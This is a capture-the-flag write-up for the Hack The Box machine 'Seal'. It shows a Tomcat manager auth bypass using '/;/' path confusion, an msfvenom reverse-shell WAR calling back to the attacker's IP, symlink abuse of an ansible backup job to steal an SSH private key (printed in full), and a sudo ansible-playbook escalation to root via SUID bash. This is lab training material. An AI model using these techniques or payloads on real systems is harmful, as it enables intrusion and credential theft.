Hack The Box - Seal

info_card

Seal is a medium rated machine on HackTheBox by MrR3boot. For the user part we will find the default credentials for a tomcat installation inside a GitBucket repository and bypass mutual authentication by breaking the path parser logic. Once logged in we’ll deploy a war file to gain a reverse shell and abuse a running ansible task to retrieve the user Luis’s private ssh key. Getting to root is rather quick, since Luis can run ansible playbook as root on any configuration file.

User

Nmap

As usual we start our enumeration with an nmap scan against all ports, followed by a script and version detection scan against the open ones to get a first overview of the attack surface.

All ports scan

1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -p- -T4 10.129.173.76
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-10 22:10 UTC
Nmap scan report for seal.htb (10.129.173.76)
Host is up (0.18s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
443/tcp  open  https
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 56.39 seconds

Script version scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
$ sudo nmap -p22,443,8080 -sC -sV 10.129.173.76
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-10 22:12 UTC
Nmap scan report for seal.htb (10.129.173.76)
Host is up (0.026s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after:  2022-05-05T10:24:03
| tls-alpn:
|_  http/1.1
| tls-nextprotoneg:
|_  http/1.1
8080/tcp open  http-proxy
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 401 Unauthorized
|     Date: Sat, 10 Jul 2021 22:13:37 GMT
|     Set-Cookie: JSESSIONID=node0uyekijx4hhjj13e8nnumpt4g44.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   GetRequest:
|     HTTP/1.1 401 Unauthorized
|     Date: Sat, 10 Jul 2021 22:13:37 GMT
|     Set-Cookie: JSESSIONID=node0zx1xl1agz8wm1ch9di6xl35qx2.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Sat, 10 Jul 2021 22:13:37 GMT
|     Set-Cookie: JSESSIONID=node0iaeb813wctan1880ppwftelg3.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RPCCheck:
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest:
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   Socks4:
|     HTTP/1.1 400 Illegal character CNTL=0x4
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
|   Socks5:
|     HTTP/1.1 400 Illegal character CNTL=0x5
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...[snip]...
SF:ent-Length:\x2071\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Message\x20
SF:400</h1><pre>reason:\x20Illegal\x20character\x20OTEXT=0x80</pre>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.26 seconds

GitBucket && Tomcat

Going over to port 443 we see a vegetable shop, but poking at it there does not seem to be any appearent vulnerability at hand.

seal_market

What looks a lot more interesting is the GitBucket installation on port 8080. We are able to register a new user and log in afterwards.

bucket_home

Being logged in we can see activities in two different repositories seal_market and infra.

logged_in

Seal_market has a current issue open between Alex and Luis about implementing mutual authentication for tomcat.

issue_repo

Looking at the tomcat-users.xml we see it does currently not feature a password for the installation. Going back in the commit history we might be able to retrieve the password though in an earlier commit.

add_tomcat

Opening the inital tomcat commit we are indeed lucky and can retrieve the credentials tomcat:42MrHBf*z8{Z%.

users_xml

Browsing to the standard managar url though gives us a 403 access denied error, which makes it seem that mutual authentication has indeed been enabled.

403

The actual reason for this can be found in seal_market/nginx/sites-available/default, which states to show a 403 on /manager/html if client TLS auth is not successful.

ssl_client_auth

Accessing the page directly at /manager/html seems impossible because of the needed client certificate. We can however modify the path following this PoC by adding a /;/ between /manager and html. This prompts us with a http basic auth where we enter the earlier found credentials.

tomcat_basic_auth

Logged in in the dashboard we can deploy a war file, which get’s unzipped to a jsp and gives us remote code execution.

tomcat_dashboard

In a first step we generate our war file with msfvenom pointing to our vpn ip.

1
2
3
4
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.68 LPORT=7575 -f war -o sm.war
Payload size: 1092 bytes
Final size of war file: 1092 bytes
Saved as: sm.war

After selecting our file we set burp to intercept the next request and click on deploy.

intercept_1

In burp we also change the url like before putting /;/ between manager and html. Next we set up a listener on the port we specified before.

1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575

We can trigger the uploaded shell by simply clicking on it.

uploaded_war

Almost instantly we get a shell as the tomcat user back on our nc listener, which we upgrade and fix the terminals size.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.173.76.
Ncat: Connection from 10.129.173.76:47312.
python3 -c 'import pty;pty.spawn("/bin/bash")'
tomcat@seal:/var/lib/tomcat9$ export TERM=xterm
export TERM=xterm
tomcat@seal:/var/lib/tomcat9$ ^Z
[1]+  Stopped                 nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575

tomcat@seal:/var/lib/tomcat9$ stty rows 55 cols 236

Ansible playbook

Looking around we find a file that looks just like an ansible-playbook configuration file.

/opt/backups/playbook/run.yml

1
2
3
4
5
6
7
8
9
10
11
12
- hosts: localhost
  tasks:
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups
    archive:
      path: /opt/backups/files/
      dest: "/opt/backups/archives/backup--.gz"
  - name: Clean
    file:
      state: absent
      path: /opt/backups/files/

What it does is copy all files from /var/lib/tomcat9/webapps/ROOT/admin/dashboard to /opt/backups/files including symbolically linked ones. Then it compresses them to a tar.gz file and saves it under /opt/backups/archives. Looking in this directory it seems the configuration file is actively being run by the user Luis since the created files are owned by him.

1
2
tomcat@seal:/var/lib/tomcat9$ ls -la /opt/backups/archives/*
-rw-rw-r-- 1 luis luis 606055 Jul 10 22:45 /opt/backups/archives/backup-2021-07-10-22:45:33.gz

To exploit this we need a place to write under /var/lib/tomcat9/webapps/ROOT/admin/dashboard. Luckily for us we have write access on the uploads folder.

1
2
3
4
5
6
7
8
9
10
tomcat@seal:/var/lib/tomcat9$ ls -la /var/lib/tomcat9/webapps/ROOT/admin/dashboard
total 100
drwxr-xr-x 7 root root  4096 May  7 09:26 .
drwxr-xr-x 3 root root  4096 May  6 10:48 ..
drwxr-xr-x 5 root root  4096 Mar  7  2015 bootstrap
drwxr-xr-x 2 root root  4096 Mar  7  2015 css
drwxr-xr-x 4 root root  4096 Mar  7  2015 images
-rw-r--r-- 1 root root 71744 May  6 10:42 index.html
drwxr-xr-x 4 root root  4096 Mar  7  2015 scripts
drwxrwxrwx 2 root root  4096 Jul 10 22:00 uploads

Now we just need to choose what we want to link. For this we can take any file Luis has read access to. Looking in his home directory we can see an existing .ssh folder which might contain an id_rsa file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
tomcat@seal:/var/lib/tomcat9$ ls -la /home/luis/
total 51332
drwxr-xr-x 9 luis luis     4096 Jul 10 20:52 .
drwxr-xr-x 3 root root     4096 May  5 12:52 ..
drwxrwxr-x 3 luis luis     4096 May  7 06:00 .ansible
lrwxrwxrwx 1 luis luis        9 May  5 12:57 .bash_history -> /dev/null
-rw-r--r-- 1 luis luis      220 May  5 12:52 .bash_logout
-rw-r--r-- 1 luis luis     3797 May  5 12:52 .bashrc
drwxr-xr-x 3 luis luis     4096 May  7 07:00 .cache
drwxrwxr-x 3 luis luis     4096 May  5 13:45 .config
drwxrwxr-x 6 luis luis     4096 Jul 10 20:23 .gitbucket
-rw-r--r-- 1 luis luis 52497951 Jan 14 02:51 gitbucket.war
drwxrwxr-x 3 luis luis     4096 May  5 13:41 .java
drwxrwxr-x 3 luis luis     4096 May  5 14:33 .local
-rw-r--r-- 1 luis luis      807 May  5 12:52 .profile
-rw-rw-r-- 1 luis luis      154 Jul 10 20:52 run.yml
drwx------ 2 luis luis     4096 May  7 06:10 .ssh
-rw-rw-r-- 1 luis luis      152 Jul 10 20:50 test
-r-------- 1 luis luis       33 Jul 10 20:24 user.txt
-rw------- 1 luis luis     2241 Jul 10 20:52 .viminfo

To exploit it we create symbolic link to the key in the uploads directory and wait about one minute.

1
tomcat@seal:/var/lib/tomcat9$ ln -s /home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/key

As soon as a new backup has been created we move it to a new directory under /tmp since the archives directory seems to be cleaned up every 5 minutes.

1
2
3
4
5
tomcat@seal:/var/lib/tomcat9$ ls -la /opt/backups/archives/*
-rw-rw-r-- 1 luis luis 606055 Jul 10 22:45 /opt/backups/archives/backup-2021-07-10-22:45:33.gz
-rw-rw-r-- 1 luis luis 606055 Jul 10 22:46 /opt/backups/archives/backup-2021-07-10-22:46:33.gz
-rw-rw-r-- 1 luis luis 606055 Jul 10 22:47 /opt/backups/archives/backup-2021-07-10-22:47:33.gz
-rw-rw-r-- 1 luis luis 608910 Jul 10 22:48 /opt/backups/archives/backup-2021-07-10-22:48:33.gz
1
2
tomcat@seal:/var/lib/tomcat9$ mkdir /tmp/exfil
tomcat@seal:/var/lib/tomcat9$ cp /opt/backups/archives/backup-2021-07-10-22:48:33.gz /tmp/exfil/

Once copied we can extract the file and see that the id_rsa file was indeed present in Luis’s home directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
tomcat@seal:/var/lib/tomcat9$ cd /tmp/exfil/
tomcat@seal:/tmp/exfil$ mv backup-2021-07-10-22\:48\:33.gz archive.tar.gz
tomcat@seal:/tmp/exfil$ tar -xzvf archive.tar.gz
dashboard/
dashboard/scripts/
dashboard/images/
dashboard/css/
dashboard/uploads/
dashboard/bootstrap/
dashboard/index.html
...[snip]...
dashboard/uploads/key
...[snip]...

/tmp/exfil/dashboard/uploads/key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
-----BEGIN OPENSSH PRIVATE KEY-----
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
u8KqOiDVrwmFJRAAAACWx1aXNAc2VhbAE=
-----END OPENSSH PRIVATE KEY-----

We can use this key now to log in as Luis and grab the user flag after setting the correct permissions on it.

1
2
3
4
5
6
7
8
9
10
11
12
$ vi id_rsa
$ chmod 600 id_rsa
$ ssh -i id_rsa luis@10.129.173.76
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)

...[snip]...

Last login: Sat Jul 10 20:42:12 2021 from 10.10.14.68
-bash-5.0$ ls
gitbucket.war  run.yml  test  user.txt
-bash-5.0$ wc -c user.txt
33 user.txt

Root

Looking at sudo permissions, we see that Luis can run ansible-playbook on any configuration file which gives us a quick way to get to root.

1
2
3
4
5
6
-bash-5.0$ sudo -l
Matching Defaults entries for luis on seal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User luis may run the following commands on seal:
    (ALL) NOPASSWD: /usr/bin/ansible-playbook *

First we create a yaml config which gives bash the suid bit on the target machine.

sm.yml

1
2
3
4
5
6
7
8
---
- name: "whatever"
  hosts: localhost
  connection: local
  tasks:
    - name: "whatever"
      shell: "chmod +s /bin/bash"
      register: "output"

Then we run ansible-playbook on the file with sudo.

1
2
3
4
5
bash-5.0$ sudo /usr/bin/ansible-playbook ./sm.yml
...[snip]...
PLAY RECAP *********************************************************************************************************************************************************************************************************************************
localhost                  : ok=2    changed=1    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0

Checking bash again we see that it has now the suid bit set.

1
2
-bash-5.0$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Jun 18  2020 /bin/bash

Which means we can simply drop in a rootshell and read the flag.

1
2
3
4
-bash-5.0$ /bin/bash -p
bash-5.0# id
uid=1000(luis) gid=1000(luis) euid=0(root) egid=0(root) groups=0(root),1000(luis)
bash-5.0# wc -c /root/root.txt